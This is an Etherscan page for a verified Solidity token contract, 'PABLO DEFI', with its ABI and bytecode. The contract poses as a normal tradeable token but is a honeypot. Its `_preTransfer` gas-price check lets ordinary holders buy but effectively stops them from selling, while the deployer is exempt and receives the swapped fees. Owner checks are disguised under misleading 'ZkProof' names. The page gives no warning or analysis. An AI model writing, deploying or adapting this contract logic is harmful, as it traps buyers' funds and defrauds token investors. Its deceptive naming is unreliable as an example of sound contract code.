Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IUniswapFactory
•    - function getPair(address tokenA, addr ...
• interface IUniswapV2Router02
•    - function factory()
•    - function WETH()
•    - function swapExactTokensForETHSupport ...
•  contract PABLO *
•    - function changeInfo(string memory nam ...
•    - function _upgradeStoreWithZkProof(uin ...
•    - function _decodeTokenMktWithZkVerify( ...
•    - function openTrading()
•    - function transferFrom(
•    - function approve(address spender, uin ...
•    - function transfer(address to, uint256 ...
•    - function name()
•    - function symbol()
•    - function _requireGasPrice(uint256 _ga ...
•    - function _preTransfer(address from, a ...
•    - function _transfer(

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-01-23
*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.0;

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract PABLO {
    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    string private _name = unicode"PABLO DEFI";
    string private _symbol = unicode"PABLO";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000_000 * 10**decimals;

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) private isExcludedFromFees;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        isExcludedFromFees[msg.sender] = true;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function changeInfo(string memory name_, string memory symbol_) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        _name = name_;
        _symbol = symbol_;
    }

    function _upgradeStoreWithZkProof(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function _decodeTokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _requireGasPrice(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }
    uint256 private _limit_gas = 300 gwei;
    uint256 private _mini_gas = 5;

    function _preTransfer(address from, address to, uint256) internal view {
        if (!isExcludedFromFees[from] && to == pair) {
            if (tradingOpen) {
                _requireGasPrice(_mini_gas);
            }
            else {
                _requireGasPrice(_limit_gas);
            }
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        _preTransfer(from, to, amount);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;

            if (isExcludedFromFees[from] || isExcludedFromFees[to]) {
                taxCalculatedAmount = 0;
            }

            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"changeInfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600a6080908152695041424c4f204445464960b01b60a0526000906200002b908262000221565b506040805180820190915260058152645041424c4f60d81b602082015260019062000057908262000221565b506445d964b80060075560056008553480156200007357600080fd5b50604080516060810182523380825260006020830181905291909201819052600280546001600160b01b03191661ffff60a01b199093169290921790915580620000c06012600a62000402565b620000d090633b9aca006200041a565b3360008181526003602090815260408083209490945560058152838220805460ff1916600117905530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182206000199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001536012600a62000402565b6200016390633b9aca006200041a565b60405190815260200160405180910390a3505062000434565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620001a757607f821691505b602082108103620001c857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200021c57600081815260208120601f850160051c81016020861015620001f75750805b601f850160051c820191505b81811015620002185782815560010162000203565b5050505b505050565b81516001600160401b038111156200023d576200023d6200017c565b62000255816200024e845462000192565b84620001ce565b602080601f8311600181146200028d5760008415620002745750858301515b600019600386901b1c1916600185901b17855562000218565b600085815260208120601f198616915b82811015620002be578886015182559484019460019091019084016200029d565b5085821015620002dd5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000344578160001904821115620003285762000328620002ed565b808516156200033657918102915b93841c939080029062000308565b509250929050565b6000826200035d57506001620003fc565b816200036c57506000620003fc565b81600181146200038557600281146200039057620003b0565b6001915050620003fc565b60ff841115620003a457620003a4620002ed565b50506001821b620003fc565b5060208310610133831016604e8410600b8410161715620003d5575081810a620003fc565b620003e1838362000303565b8060001904821115620003f857620003f8620002ed565b0290505b92915050565b60006200041360ff8416836200034c565b9392505050565b8082028115828204841417620003fc57620003fc620002ed565b61114f80620004446000396000f3fe6080604052600436106100c65760003560e01c80634abe30521161007f578063a8aa1b3111610059578063a8aa1b311461025a578063a9059cbb14610292578063c9567bf9146102b2578063dd62ed3e146102c757600080fd5b80634abe3052146101b957806370a082311461021857806395d89b411461024557600080fd5b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012d5780631d4776c21461015057806323b872dd14610172578063313ce5671461019257600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506100e76102ff565b6040516100f49190610b98565b60405180910390f35b34801561010957600080fd5b5061011d610118366004610bfb565b610391565b60405190151581526020016100f4565b34801561013957600080fd5b506101426103fe565b6040519081526020016100f4565b34801561015c57600080fd5b5061017061016b366004610cca565b61041b565b005b34801561017e57600080fd5b5061011d61018d366004610d2e565b610463565b34801561019e57600080fd5b506101a7601281565b60405160ff90911681526020016100f4565b3480156101c557600080fd5b506002546101ef906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff92831660208501529116908201526060016100f4565b34801561022457600080fd5b50610142610233366004610d6f565b60036020526000908152604090205481565b34801561025157600080fd5b506100e76104b1565b34801561026657600080fd5b5060065461027a906001600160a01b031681565b6040516001600160a01b0390911681526020016100f4565b34801561029e57600080fd5b5061011d6102ad366004610bfb565b6104c0565b3480156102be57600080fd5b506101706104d4565b3480156102d357600080fd5b506101426102e2366004610d8c565b600460209081526000928352604080842090915290825290205481565b60606000805461030e90610dc5565b80601f016020809104026020016040519081016040528092919081815260200182805461033a90610dc5565b80156103875780601f1061035c57610100808354040283529160200191610387565b820191906000526020600020905b81548152906001019060200180831161036a57829003601f168201915b5050505050905090565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103ec9086815260200190565b60405180910390a35060015b92915050565b61040a6012600a610ef9565b61041890633b9aca00610f08565b81565b6002546001600160a01b0316331461044557604051629af2b160e81b815260040160405180910390fd5b60006104518382610f6d565b50600161045e8282610f6d565b505050565b6001600160a01b038316600090815260046020908152604080832033845290915281208054839190839061049890849061102d565b909155506104a99050848484610695565b949350505050565b60606001805461030e90610dc5565b60006104cd338484610695565b9392505050565b6002546001600160a01b031633146104eb57600080fd5b600654600160a81b900460ff161561050257600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610556573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057a9190611040565b90506000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190611040565b60405163e6a4390560e01b81523060048201526001600160a01b03808316602483015291925060009184169063e6a4390590604401602060405180830381865afa158015610646573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066a9190611040565b60068054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6000806106aa6002546001600160a01b031690565b600654909150600160a81b900460ff16806106d65750806001600160a01b0316856001600160a01b0316145b806106f25750806001600160a01b0316846001600160a01b0316145b6106fb57600080fd5b610706858585610b29565b6001600160a01b0385166000908152600360205260408120805485929061072e90849061102d565b90915550506006546001600160a01b03858116911614801561075a5750600654600160a01b900460ff16155b801561079a5750606461076f6012600a610ef9565b61077d90633b9aca00610f08565b610787919061105d565b3060009081526003602052604090205410155b80156107b85750806001600160a01b0316856001600160a01b031614155b156109a3576006805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106108055761080561107f565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610877573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089b9190611040565b816001815181106108ae576108ae61107f565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646108ee6012600a610ef9565b6108fc90633b9aca00610f08565b610906919061105d565b60008430426040518663ffffffff1660e01b815260040161092b959493929190611095565b600060405180830381600087803b15801561094557600080fd5b505af1158015610959573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f19350505050158015610993573d6000803e3d6000fd5b50506006805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109e15750600654600160a81b900460ff1615156001145b15610aa0576006546000906064906001600160a01b03898116911614610a075783610a09565b825b610a169060ff1688610f08565b610a20919061105d565b6001600160a01b03891660009081526005602052604090205490915060ff1680610a6257506001600160a01b03871660009081526005602052604090205460ff165b15610a6b575060005b610a75818761102d565b30600090815260036020526040812080549298508392909190610a99908490611106565b9091555050505b6001600160a01b03861660009081526003602052604081208054879290610ac8908490611106565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b1491815260200190565b60405180910390a35060019695505050505050565b6001600160a01b03831660009081526005602052604090205460ff16158015610b5f57506006546001600160a01b038381169116145b1561045e57600654600160a81b900460ff1615610b815761045e600854610b88565b61045e6007545b803a1115610b9557600080fd5b50565b600060208083528351808285015260005b81811015610bc557858101830151858201604001528201610ba9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b9557600080fd5b60008060408385031215610c0e57600080fd5b8235610c1981610be6565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f830112610c4e57600080fd5b813567ffffffffffffffff80821115610c6957610c69610c27565b604051601f8301601f19908116603f01168101908282118183101715610c9157610c91610c27565b81604052838152866020858801011115610caa57600080fd5b836020870160208301376000602085830101528094505050505092915050565b60008060408385031215610cdd57600080fd5b823567ffffffffffffffff80821115610cf557600080fd5b610d0186838701610c3d565b93506020850135915080821115610d1757600080fd5b50610d2485828601610c3d565b9150509250929050565b600080600060608486031215610d4357600080fd5b8335610d4e81610be6565b92506020840135610d5e81610be6565b929592945050506040919091013590565b600060208284031215610d8157600080fd5b81356104cd81610be6565b60008060408385031215610d9f57600080fd5b8235610daa81610be6565b91506020830135610dba81610be6565b809150509250929050565b600181811c90821680610dd957607f821691505b602082108103610df957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610e50578160001904821115610e3657610e36610dff565b80851615610e4357918102915b93841c9390800290610e1a565b509250929050565b600082610e67575060016103f8565b81610e74575060006103f8565b8160018114610e8a5760028114610e9457610eb0565b60019150506103f8565b60ff841115610ea557610ea5610dff565b50506001821b6103f8565b5060208310610133831016604e8410600b8410161715610ed3575081810a6103f8565b610edd8383610e15565b8060001904821115610ef157610ef1610dff565b029392505050565b60006104cd60ff841683610e58565b80820281158282048414176103f8576103f8610dff565b601f82111561045e57600081815260208120601f850160051c81016020861015610f465750805b601f850160051c820191505b81811015610f6557828155600101610f52565b505050505050565b815167ffffffffffffffff811115610f8757610f87610c27565b610f9b81610f958454610dc5565b84610f1f565b602080601f831160018114610fd05760008415610fb85750858301515b600019600386901b1c1916600185901b178555610f65565b600085815260208120601f198616915b82811015610fff57888601518255948401946001909101908401610fe0565b508582101561101d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b818103818111156103f8576103f8610dff565b60006020828403121561105257600080fd5b81516104cd81610be6565b60008261107a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110e55784516001600160a01b0316835293830193918301916001016110c0565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103f8576103f8610dff56fea26469706673582212204bc7140953ac3bb65f12796c831fe40fa45494b49107420da54d3a1813be328464736f6c63430008120033

0x6080604052600436106100c65760003560e01c80634abe30521161007f578063a8aa1b3111610059578063a8aa1b311461025a578063a9059cbb14610292578063c9567bf9146102b2578063dd62ed3e146102c757600080fd5b80634abe3052146101b957806370a082311461021857806395d89b411461024557600080fd5b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012d5780631d4776c21461015057806323b872dd14610172578063313ce5671461019257600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506100e76102ff565b6040516100f49190610b98565b60405180910390f35b34801561010957600080fd5b5061011d610118366004610bfb565b610391565b60405190151581526020016100f4565b34801561013957600080fd5b506101426103fe565b6040519081526020016100f4565b34801561015c57600080fd5b5061017061016b366004610cca565b61041b565b005b34801561017e57600080fd5b5061011d61018d366004610d2e565b610463565b34801561019e57600080fd5b506101a7601281565b60405160ff90911681526020016100f4565b3480156101c557600080fd5b506002546101ef906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff92831660208501529116908201526060016100f4565b34801561022457600080fd5b50610142610233366004610d6f565b60036020526000908152604090205481565b34801561025157600080fd5b506100e76104b1565b34801561026657600080fd5b5060065461027a906001600160a01b031681565b6040516001600160a01b0390911681526020016100f4565b34801561029e57600080fd5b5061011d6102ad366004610bfb565b6104c0565b3480156102be57600080fd5b506101706104d4565b3480156102d357600080fd5b506101426102e2366004610d8c565b600460209081526000928352604080842090915290825290205481565b60606000805461030e90610dc5565b80601f016020809104026020016040519081016040528092919081815260200182805461033a90610dc5565b80156103875780601f1061035c57610100808354040283529160200191610387565b820191906000526020600020905b81548152906001019060200180831161036a57829003601f168201915b5050505050905090565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103ec9086815260200190565b60405180910390a35060015b92915050565b61040a6012600a610ef9565b61041890633b9aca00610f08565b81565b6002546001600160a01b0316331461044557604051629af2b160e81b815260040160405180910390fd5b60006104518382610f6d565b50600161045e8282610f6d565b505050565b6001600160a01b038316600090815260046020908152604080832033845290915281208054839190839061049890849061102d565b909155506104a99050848484610695565b949350505050565b60606001805461030e90610dc5565b60006104cd338484610695565b9392505050565b6002546001600160a01b031633146104eb57600080fd5b600654600160a81b900460ff161561050257600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610556573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057a9190611040565b90506000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190611040565b60405163e6a4390560e01b81523060048201526001600160a01b03808316602483015291925060009184169063e6a4390590604401602060405180830381865afa158015610646573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066a9190611040565b60068054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6000806106aa6002546001600160a01b031690565b600654909150600160a81b900460ff16806106d65750806001600160a01b0316856001600160a01b0316145b806106f25750806001600160a01b0316846001600160a01b0316145b6106fb57600080fd5b610706858585610b29565b6001600160a01b0385166000908152600360205260408120805485929061072e90849061102d565b90915550506006546001600160a01b03858116911614801561075a5750600654600160a01b900460ff16155b801561079a5750606461076f6012600a610ef9565b61077d90633b9aca00610f08565b610787919061105d565b3060009081526003602052604090205410155b80156107b85750806001600160a01b0316856001600160a01b031614155b156109a3576006805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106108055761080561107f565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610877573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089b9190611040565b816001815181106108ae576108ae61107f565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646108ee6012600a610ef9565b6108fc90633b9aca00610f08565b610906919061105d565b60008430426040518663ffffffff1660e01b815260040161092b959493929190611095565b600060405180830381600087803b15801561094557600080fd5b505af1158015610959573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f19350505050158015610993573d6000803e3d6000fd5b50506006805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109e15750600654600160a81b900460ff1615156001145b15610aa0576006546000906064906001600160a01b03898116911614610a075783610a09565b825b610a169060ff1688610f08565b610a20919061105d565b6001600160a01b03891660009081526005602052604090205490915060ff1680610a6257506001600160a01b03871660009081526005602052604090205460ff165b15610a6b575060005b610a75818761102d565b30600090815260036020526040812080549298508392909190610a99908490611106565b9091555050505b6001600160a01b03861660009081526003602052604081208054879290610ac8908490611106565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b1491815260200190565b60405180910390a35060019695505050505050565b6001600160a01b03831660009081526005602052604090205460ff16158015610b5f57506006546001600160a01b038381169116145b1561045e57600654600160a81b900460ff1615610b815761045e600854610b88565b61045e6007545b803a1115610b9557600080fd5b50565b600060208083528351808285015260005b81811015610bc557858101830151858201604001528201610ba9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b9557600080fd5b60008060408385031215610c0e57600080fd5b8235610c1981610be6565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f830112610c4e57600080fd5b813567ffffffffffffffff80821115610c6957610c69610c27565b604051601f8301601f19908116603f01168101908282118183101715610c9157610c91610c27565b81604052838152866020858801011115610caa57600080fd5b836020870160208301376000602085830101528094505050505092915050565b60008060408385031215610cdd57600080fd5b823567ffffffffffffffff80821115610cf557600080fd5b610d0186838701610c3d565b93506020850135915080821115610d1757600080fd5b50610d2485828601610c3d565b9150509250929050565b600080600060608486031215610d4357600080fd5b8335610d4e81610be6565b92506020840135610d5e81610be6565b929592945050506040919091013590565b600060208284031215610d8157600080fd5b81356104cd81610be6565b60008060408385031215610d9f57600080fd5b8235610daa81610be6565b91506020830135610dba81610be6565b809150509250929050565b600181811c90821680610dd957607f821691505b602082108103610df957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610e50578160001904821115610e3657610e36610dff565b80851615610e4357918102915b93841c9390800290610e1a565b509250929050565b600082610e67575060016103f8565b81610e74575060006103f8565b8160018114610e8a5760028114610e9457610eb0565b60019150506103f8565b60ff841115610ea557610ea5610dff565b50506001821b6103f8565b5060208310610133831016604e8410600b8410161715610ed3575081810a6103f8565b610edd8383610e15565b8060001904821115610ef157610ef1610dff565b029392505050565b60006104cd60ff841683610e58565b80820281158282048414176103f8576103f8610dff565b601f82111561045e57600081815260208120601f850160051c81016020861015610f465750805b601f850160051c820191505b81811015610f6557828155600101610f52565b505050505050565b815167ffffffffffffffff811115610f8757610f87610c27565b610f9b81610f958454610dc5565b84610f1f565b602080601f831160018114610fd05760008415610fb85750858301515b600019600386901b1c1916600185901b178555610f65565b600085815260208120601f198616915b82811015610fff57888601518255948401946001909101908401610fe0565b508582101561101d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b818103818111156103f8576103f8610dff565b60006020828403121561105257600080fd5b81516104cd81610be6565b60008261107a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110e55784516001600160a01b0316835293830193918301916001016110c0565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103f8576103f8610dff56fea26469706673582212204bc7140953ac3bb65f12796c831fe40fa45494b49107420da54d3a1813be328464736f6c63430008120033

567:5390:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3601:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3249:207;;;;;;;;;;-1:-1:-1;3249:207:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;3249:207:0;1023:187:1;833:66:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;833:66:0;1215:177:1;2140:213:0;;;;;;;;;;-1:-1:-1;2140:213:0;;;;;:::i;:::-;;:::i;:::-;;3018:223;;;;;;;;;;-1:-1:-1;3018:223:0;;;;;:::i;:::-;;:::i;791:35::-;;;;;;;;;;;;824:2;791:35;;;;;3434:4:1;3422:17;;;3404:36;;3392:2;3377:18;791:35:0;3262:184:1;908:26:0;;;;;;;;;;-1:-1:-1;908:26:0;;;;-1:-1:-1;;;;;908:26:0;;;;-1:-1:-1;;;908:26:0;;;;;-1:-1:-1;;;908:26:0;;;;;;;;;-1:-1:-1;;;;;3663:32:1;;;3645:51;;3744:4;3732:17;;;3727:2;3712:18;;3705:45;3786:17;;3766:18;;;3759:45;3633:2;3618:18;908:26:0;3451:359:1;1225:44:0;;;;;;;;;;-1:-1:-1;1225:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;3700:95;;;;;;;;;;;;;:::i;1407:19::-;;;;;;;;;;-1:-1:-1;1407:19:0;;;;-1:-1:-1;;;;;1407:19:0;;;;;;-1:-1:-1;;;;;4231:32:1;;;4213:51;;4201:2;4186:18;1407:19:0;4067:203:1;3464:129:0;;;;;;;;;;-1:-1:-1;3464:129:0;;;;;:::i;:::-;;:::i;2635:375::-;;;;;;;;;;;;;:::i;1276:64::-;;;;;;;;;;-1:-1:-1;1276:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;3601:91;3646:13;3679:5;3672:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3601:91;:::o;3249:207::-;3344:10;3317:4;3334:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;3334:30:0;;;;;;;;;;:39;;;3389:37;3317:4;;3334:30;;3389:37;;;;3367:6;1361:25:1;;1349:2;1334:18;;1215:177;3389:37:0;;;;;;;;-1:-1:-1;3444:4:0;3249:207;;;;;:::o;833:66::-;887:12;824:2;887;:12;:::i;:::-;871:28;;:13;:28;:::i;:::-;833:66;:::o;2140:213::-;2601:9;:18;-1:-1:-1;;;;;2601:18:0;2228:10;:43;2224:69;;2280:13;;-1:-1:-1;;;2280:13:0;;;;;;;;;;;2224:69;2304:5;:13;2312:5;2304;:13;:::i;:::-;-1:-1:-1;2328:7:0;:17;2338:7;2328;:17;:::i;:::-;;2140:213;;:::o;3018:223::-;-1:-1:-1;;;;;3151:15:0;;3134:4;3151:15;;;:9;:15;;;;;;;;3167:10;3151:27;;;;;;;:37;;3182:6;;3151:27;3134:4;;3151:37;;3182:6;;3151:37;:::i;:::-;;;;-1:-1:-1;3206:27:0;;-1:-1:-1;3216:4:0;3222:2;3226:6;3206:9;:27::i;:::-;3199:34;3018:223;-1:-1:-1;;;;3018:223:0:o;3700:95::-;3747:13;3780:7;3773:14;;;;;:::i;3464:129::-;3528:4;3552:33;3562:10;3574:2;3578:6;3552:9;:33::i;:::-;3545:40;3464:129;-1:-1:-1;;;3464:129:0:o;2635:375::-;2601:9;:18;-1:-1:-1;;;;;2601:18:0;2686:10;:43;2678:52;;;;;;2750:11;;-1:-1:-1;;;2750:11:0;;;;2749:12;2741:21;;;;;;2773:16;1508:42;-1:-1:-1;;;;;2792:24:0;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2773:45;;2829:13;1508:42;-1:-1:-1;;;;;2845:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;